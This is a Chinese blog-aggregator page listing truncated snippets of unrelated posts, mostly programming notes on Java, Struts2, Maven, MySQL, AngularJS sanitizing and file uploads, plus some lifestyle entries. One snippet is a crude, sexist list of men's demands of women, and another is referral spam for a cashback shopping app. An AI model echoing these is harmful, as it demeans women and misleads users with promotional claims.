    《投行人生》----作者詹姆斯-A-朗德摩根斯坦利副主席40年的职业洞见-很短小精悍的篇幅，比较适合初入职场的新人。第一部分成功的职业生涯需要规划1.情商归为适应能力分享与协作同理心适应能力，更多的是自我意识，你有能力识别自己的情并分辨这些情绪如何影响你的思想和行为。2.对于初入职场的人的建议，细节，截止日期和数据很重要截止日期，一种有效的方法是请老板为你所有的任务进行优先级排序。和老板喝咖啡的好
  • 《策划经理回忆录之二》 路基雅虎
    话说三年变六年，飘了，飘了……眨眼，2013年5月，老吴回到了他的家乡——油城从新开启他的工作幻想症生涯。很庆幸，这是一家很有追求，同时敢于尝试的，且实力不容低调的新星房企——金源置业(前身泰源置业)更值得庆幸的是第一个盘就是油城十路的标杆之一:金源盛世。2013年5月，到2015年11月，两年的陪伴，迎来了一场大爆发。2000个筹，5万/筹，直接回笼1个亿！！！这……让我开始认真审视这座看似五线
  • Long类型前后端数据不一致 igotyback 前端
    响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题，尤其是当后端使用Java的Long类型（64位）与前端JavaScript的Number类型（最大安全整数为2^53-1，即16位）进行数据交互时，很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问
  • 扫地机类清洁产品之直流无刷电机控制 悟空胆好小 清洁服务机器人单片机人工智能
    扫地机类清洁产品之直流无刷电机控制1.1前言扫地机产品有很多的电机控制，滚刷电机1个，边刷电机1-2个，清水泵电机，风机一个，部分中高端产品支持抹布功能，也就是存在抹布盘电机，还有追觅科沃斯石头等边刷抬升电机，滚刷抬升电机等的，这些电机有直流有刷电机，直接无刷电机，步进电机，电磁阀，挪动泵等不同类型。电机的原理，驱动控制方式也不行。接下来一段时间的几个文章会作个专题分析分享。直流有刷电机会自动持续
  • Linux下QT开发的动态库界面弹出操作（SDL2） 13jjyao QT类qt开发语言sdl2linux
    需求：操作系统为linux，开发框架为qt，做成需带界面的qt动态库，调用方为java等非qt程序难点：调用方为java等非qt程序，也就是说调用方肯定不带QApplication::exec()，缺少了这个，QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出)；这与qt调用本身qt库是有本质的区别的思路：1.调用方缺QApplication::exec()，那么我们在接口
  • 绘本讲师训练营【24期】8/21阅读原创《独生小孩》 1784e22615e0
    24016-孟娟《独生小孩》图片发自App今天我想分享一个蛮特别的绘本，讲的是一个特殊的群体，我也是属于这个群体，80后的独生小孩。这是一本中国绘本，作者郭婧，也是一个80厚。全书一百多页，均为铅笔绘制，虽然为黑白色调，但并不显得沉闷。全书没有文字，犹如“默片”，但并不影响读者对该作品的理解，反而显得神秘，梦幻，給读者留下想象的空间。作者在前蝴蝶页这样写到：“我更希望父母和孩子一起分享这本书，使他
  • 店群合一模式下的社区团购新发展——结合链动 2+1 模式、AI 智能名片与 S2B2C 商城小程序源码 说私域 人工智能小程序
    摘要：本文探讨了店群合一的社区团购平台在当今商业环境中的重要性和优势。通过分析店群合一模式如何将互联网社群与线下终端紧密结合，阐述了链动2+1模式、AI智能名片和S2B2C商城小程序源码在这一模式中的应用价值。这些创新元素的结合为社区团购带来了新的机遇，提升了用户信任感、拓展了营销渠道，并实现了线上线下的完美融合。一、引言随着互联网技术的不断发展，社区团购作为一种新兴的商业模式，在满足消费者日常需
  • 我校举行新老教师师徒结对仪式暨名师专业工作室工作交流活动 李蕾1229
    为促进我校教师专业发展，发挥骨干教师的引领带头作用，11月6日下午，我校举行新老教师师徒结对仪式暨名师专业工作室工作交流活动。图片发自App会议由教师发展处李蕾主任主持，首先，由范校长宣读新老教师结对名单及双方承担职责。随后，两位新调入教师陈玉萍、莫正杰分别和他们的师傅鲍元美、刘召彬老师签订了师徒结对协议书。图片发自App图片发自App师徒拥抱、握手。有了师傅就有了目标有了方向，相信两位新教师在师
  • 向内而求 陈陈_19b4
    10月27日，阴。阅读书目:《次第花开》。作者:希阿荣博堪布，是当今藏传佛家宁玛派最伟大的上师法王，如意宝晋美彭措仁波切颇具影响力的弟子之一。多年以来，赴海内外各地弘扬佛法，以正式授课、现场开示、发表文章等多种方法指导佛学弟子修行佛法。代表作《寂静之道》、《生命这出戏》、《透过佛法看世界》自出版以来一直是佛教类书籍中的畅销书。图片发自App金句:1.佛陀说，一切痛苦的根源在于我们长期以来对自身及外
  • 2021-08-26 影幽
    在生活中，女人与男人的感悟往往有所不同。人生最大的舞台就是生活，大幕随时都可能拉开，关键是你愿不愿意表演都无法躲避。在生活中，遇事不要急躁，不要急于下结论，尤其生气时不要做决断，要学会换位思考，大事化小小事化了，把复杂的事情尽量简单处理，千万不要把简单的事情复杂化。永远不要扭曲，别人善意，无药可救。昨天是张过期的支票，明天是张信用卡，只有今天才是现金，要善加利用！执着的攀登者不必去与别人比较自己的
  • ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值） 研学随笔 arcgis经验分享
    我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==
  • 高级编程--XML+socket练习题 masa010 java开发语言
    1.北京华北2114.8万人上海华东2,500万人广州华南1292.68万人成都华西1417万人（1）使用dom4j将信息存入xml中（2）读取信息，并打印控制台（3）添加一个city节点与子节点（4）使用socketTCP协议编写服务端与客户端，客户端输入城市ID，服务器响应相应城市信息（5）使用socketTCP协议编写服务端与客户端，客户端要求用户输入city对象，服务端接收并使用dom4j
  • 抖音乐买买怎么加入赚钱?赚钱方法是什么 测评君高省
    你会在抖音买东西吗?如果会，那么一定要免费注册一个乐买买，抖音直播间，橱窗，小视频里的小黄车买东西都可以返佣金!省下来都是自己的，分享还可以赚钱乐买买是好省旗下的抖音返佣平台，乐买买分析社交电商的价值，乐买买属于今年难得的副业项目风口机会，2019年错过做好省的搞钱的黄金时期，那么2022年千万别再错过乐买买至于我为何转到高省呢？当然是高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个自
  • 开心 蒋泳频
    从无比抗拒来上课到接受，感动，收获～看着波哥成长，晶晶幸福笑容满面。感觉自己做的事情很有意义，很开心！还有3个感召目标就是还有三个有缘人，哈哈。明天感召去明日计划：8：30-11：00小公益11：00-21点上班，感召图片发自App图片发自App图片发自App
  • 2018-07-23-催眠日作业-#不一样的31天#-66小鹿 小鹿_33
    预言日：人总是在逃避命运的路上，与之不期而遇。心理学上有个著名的名词，叫做自证预言；经济学上也有一个很著名的定律叫做，墨菲定律；在灵修派上，还有一个很著名的法则，叫做吸引力法则。这3个领域的词，虽然看起来不太一样，但是他们都在告诉人们一个现象：你越担心什么，就越有可能会发生什么。同样的道理，你越想得到什么，就应该要积极地去创造什么。无论是自证预言，墨菲定律还是吸引力法则，对人都有正反2个维度的影响
  • 矩阵求逆（JAVA）利用伴随矩阵 qiuwanchi 利用伴随矩阵求逆矩阵
    package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(利用伴随矩阵) * @author 邱万迟
  • 单例（Singleton）模式 aoyouzi 单例模式Singleton
    3.1           概述 如果要保证系统里一个类最多只能存在一个实例时，我们就需要单例模式。这种情况在我们应用中经常碰到，例如缓存池，数据库连接池，线程池，一些应用服务实例等。在多线程环境中，为了保证实例的唯一性其实并不简单，这章将和读者一起探讨如何实现单例模式。 3.2
  • [开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发 comsci 开源
          现在国内有大量的信息技术产品，都是通过盗版，免费下载，开源，附送等方式从国外的开发者那里获得的。。。。。。        虽然这种情况带来了国内信息产业的短暂繁荣，也促进了电子商务和互联网产业的快速发展，但是实际上，我们应该清醒的看到，这些产业的核心力量是被国外的
  • 页面有两个frame,怎样点击一个的链接改变另一个的内容 Array_06 UIXHTML
    <a src="地址"  targets="这里写你要操作的Frame的名字" />搜索 然后你点击连接以后你的新页面就会显示在你设置的Frame名字的框那里 targerts="",就是你要填写目标的显示页面位置 ===================== 例如： <frame src=&
  • Struts2实现单个/多个文件上传和下载 oloz 文件上传struts
    struts2单文件上传：     步骤01:jsp页面 <!--在进行文件上传时，表单提交方式一定要是post的方式，因为文件上传时二进制文件可能会很大，还有就是enctype属性，这个属性一定要写成multipart/form-data，不然就会以二进制文本上传到服务器端--> 　　<form action="fileUplo
  • 推荐10个在线logo设计网站 362217990 logo
    在线设计Logo网站。 1、http://flickr.nosv.org（这个太简单） 2、http://www.logomaker.com/?source=1.5770.1 3、http://www.simwebsol.com/ImageTool 4、http://www.logogenerator.com/logo.php?nal=1&tpl_catlist[]=2 5、ht
  • jsp上传文件 香水浓 jspfileupload
    1. jsp上传 Notice： 1. form表单 method 属性必须设置为 POST 方法 ，不能使用 GET 方法 2. form表单 enctype 属性需要设置为 multipart/form-data 3. form表单 action 属性需要设置为提交到后台处理文件上传的jsp文件地址或者servlet地址。例如 uploadFile.jsp 程序文件用来处理上传的文
  • 我的架构经验系列文章 - 前端架构 agevs JavaScriptWeb框架UIjQuer
    框架层面：近几年前端发展很快，前端之所以叫前端因为前端是已经可以独立成为一种职业了，js也不再是十年前的玩具了，以前富客户端RIA的应用可能会用flash/flex或是silverlight，现在可以使用js来完成大部分的功能，因此js作为一门前端的支撑语言也不仅仅是进行的简单的编码，越来越多框架性的东西出现了。越来越多的开发模式转变为后端只是吐json的数据源，而前端做所有UI的事情。MVCMV
  • android ksoap2 中把XML(DataSet) 当做参数传递 aijuans android
    我的android app中需要发送webservice ，于是我使用了 ksop2 进行发送，在测试过程中不是很顺利,不能正常工作.我的web service 请求格式如下     [html]  view plain copy   <Envelope xmlns="http://schemas.
  • 使用Spring进行统一日志管理 + 统一异常管理 baalwolf spring
    统一日志和异常管理配置好后，SSH项目中，代码以往散落的log.info() 和 try..catch..finally 再也不见踪影！ 统一日志异常实现类： [java]  view plain copy   package com.pilelot.web.util;      impor
  • Android SDK 国内镜像 BigBird2012 android sdk
    一、镜像地址： 1、东软信息学院的 Android SDK 镜像，比配置代理下载快多了。 配置地址， http://mirrors.neusoft.edu.cn/configurations.we#android 2、北京化工大学的： IPV4:ubuntu.buct.edu.cn  IPV4:ubuntu.buct.cn IPV6:ubuntu.buct6.edu.cn
  • HTML无害化和Sanitize模块 bijian1013 JavaScriptAngularJSLinkySanitize
    一.ng-bind-html、ng-bind-html-unsafe         AngularJS非常注重安全方面的问题，它会尽一切可能把大多数攻击手段最小化。其中一个攻击手段是向你的web页面里注入不安全的HTML，然后利用它触发跨站攻击或者注入攻击。         考虑这样一个例子，假设我们有一个变量存
  • [Maven学习笔记二]Maven命令 bit1129 maven
    mvn compile compile编译命令将src/main/java和src/main/resources中的代码和配置文件编译到target/classes中，不会对src/test/java中的测试类进行编译 MVN编译使用 maven-resources-plugin:2.6:resources maven-compiler-plugin:2.5.1:compile &nbs
  • 【Java命令二】jhat bit1129 Java命令
    jhat用于分析使用jmap dump的文件，，可以将堆中的对象以html的形式显示出来，包括对象的数量，大小等等，并支持对象查询语言。 jhat默认开启监听端口7000的HTTP服务，jhat是Java Heap Analysis Tool的缩写 1. 用法： [hadoop@hadoop bin]$ jhat -help Usage: jhat [-stack <bool&g
  • JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc ronin47
    进到类似目录 server/default/conf/bootstrap，打开文件 profile.xml找到： Xml代码<bean    name="AttachmentStore"  class="org.jboss.system.server.profileservice.repository.AbstractAtta
  • 写给初学者的6条网页设计安全配色指南 brotherlamp UIui自学ui视频ui教程ui资料
    网页设计中最基本的原则之一是，不管你花多长时间创造一个华丽的设计，其最终的角色都是这场秀中真正的明星——内容的衬托     我仍然清楚地记得我最早的一次美术课，那时我还是一个小小的、对凡事都充满渴望的孩子，我摆放出一大堆漂亮的彩色颜料。我仍然记得当我第一次看到原色与另一种颜色混合变成第二种颜色时的那种兴奋，并且我想，既然两种颜色能创造出一种全新的美丽色彩，那所有颜色
  • 有一个数组，每次从中间随机取一个，然后放回去，当所有的元素都被取过，返回总共的取的次数。写一个函数实现。复杂度是什么。 bylijinnan java算法面试
    import java.util.Random; import java.util.Set; import java.util.TreeSet; /** * http://weibo.com/1915548291/z7HtOF4sx * #面试题#有一个数组，每次从中间随机取一个，然后放回去，当所有的元素都被取过，返回总共的取的次数。 * 写一个函数实现。复杂度是什么
  • struts2获得request、session、application方式 chiangfai application
    1、与Servlet API解耦的访问方式。 a.Struts2对HttpServletRequest、HttpSession、ServletContext进行了封装，构造了三个Map对象来替代这三种对象要获取这三个Map对象，使用ActionContext类。 ----->   package pro.action; import java.util.Map; imp
  • 改变python的默认语言设置 chenchao051 python
    import sys sys.getdefaultencoding()  可以测试出默认语言，要改变的话，需要在python lib的site-packages文件夹下新建： sitecustomize.py， 这个文件比较特殊，会在python启动时来加载，所以就可以在里面写上： import sys sys.setdefaultencoding('utf-8') &n
  • mysql导入数据load data infile用法 daizj mysql导入数据
    我们常常导入数据！mysql有一个高效导入方法，那就是load data infile 下面来看案例说明 基本语法： load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table tbl_name [fields [terminated by't'] [OPTI
  • phpexcel导入excel表到数据库简单入门示例 dcj3sjt126com PHPExcel
    跟导出相对应的，同一个数据表，也是将phpexcel类放在class目录下，将Excel表格中的内容读取出来放到数据库中 <?php error_reporting(E_ALL); set_time_limit(0); ?> <html> <head> <meta http-equiv="Content-Type"
  • 22岁到72岁的男人对女人的要求 dcj3sjt126com
    22岁男人对女人的要求是：一，美丽，二，性感，三，有份具品味的职业，四，极有耐性，善解人意，五，该聪明的时候聪明，六，作小鸟依人状时尽量自然，七，怎样穿都好看，八，懂得适当地撒娇，九，虽作惊喜反应，但看起来自然，十，上了床就是个无条件荡妇。 32岁的男人对女人的要求，略作修定，是：一，入得厨房，进得睡房，二，不必服侍皇太后，三，不介意浪漫蜡烛配盒饭，四，听多过说，五，不再傻笑，六，懂得独
  • Spring和HIbernate对DDM设计的支持 e200702084 DAO设计模式springHibernate领域模型
    A：数据访问对象     DAO和资源库在领域驱动设计中都很重要。DAO是关系型数据库和应用之间的契约。它封装了Web应用中的数据库CRUD操作细节。另一方面，资源库是一个独立的抽象，它与DAO进行交互，并提供到领域模型的“业务接口”。    资源库使用领域的通用语言，处理所有必要的DAO，并使用领域理解的语言提供对领域模型的数据访问服务。
  • NoSql 数据库的特性比较 geeksun NoSQL
    Redis 是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。目前由VMware主持开发工作。   1. 数据模型 作为Key-value型数据库，Redis也提供了键（Key）和值（Value）的映射关系。除了常规的数值或字符串，Redis的键值还可以是以下形式之一： Lists （列表） Sets
  • 使用 Nginx Upload Module 实现上传文件功能 hongtoushizi nginx
    转载自： http://www.tuicool.com/wx/aUrAzm   普通网站在实现文件上传功能的时候，一般是使用Python，Java等后端程序实现，比较麻烦。Nginx有一个Upload模块，可以非常简单的实现文件上传功能。此模块的原理是先把用户上传的文件保存到临时文件，然后在交由后台页面处理，并且把文件的原名，上传后的名称，文件类型，文件大小set到页面。下
  • spring-boot-web-ui及thymeleaf基本使用 jishiweili springthymeleaf
    视图控制层代码demo如下：   @Controller @RequestMapping("/") public class MessageController { private final MessageRepository messageRepository; @Autowired public MessageController(Mes
  • 数据源架构模式之活动记录 home198979 PHP架构活动记录数据映射
    hello!架构 一、概念 活动记录（Active Record）：一个对象，它包装数据库表或视图中某一行，封装数据库访问，并在这些数据上增加了领域逻辑。 对象既有数据又有行为。活动记录使用直截了当的方法，把数据访问逻辑置于领域对象中。   二、实现简单活动记录 活动记录在php许多框架中都有应用，如cakephp。 <?php /** * 行数据入口类 *
  • Linux Shell脚本之自动修改IP pda158 linuxcentosDebian脚本
    作为一名 Linux SA，日常运维中很多地方都会用到脚本，而服务器的ip一般采用静态ip或者MAC绑定，当然后者比较操作起来相对繁琐，而前者我们可以设置主机名、ip信息、网关等配置。修改成特定的主机名在维护和管理方面也比较方便。如下脚本用途为：修改ip和主机名等相关信息，可以根据实际需求修改，举一反三！ #!/bin/sh #auto Change ip netmask ga
  • 开发环境搭建 独浮云 eclipsejdktomcat
           最近在开发过程中，经常出现MyEclipse内存溢出等错误，需要重启的情况，好麻烦。对于一般的JAVA+TOMCAT项目开发，其实没有必要使用重量级的MyEclipse，使用eclipse就足够了。尤其是开发机器硬件配置一般的人。         &n
  • 操作日期和时间的工具类 vipbooks 工具类
       大家好啊，好久没有来这里发文章了，今天来逛逛，分享一篇刚写不久的操作日期和时间的工具类，希望对大家有所帮助。 /* * @(#)DataFormatUtils.java 2010-10-10 * * Copyright 2010 BianJing,All rights reserved. */ package test; impor
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他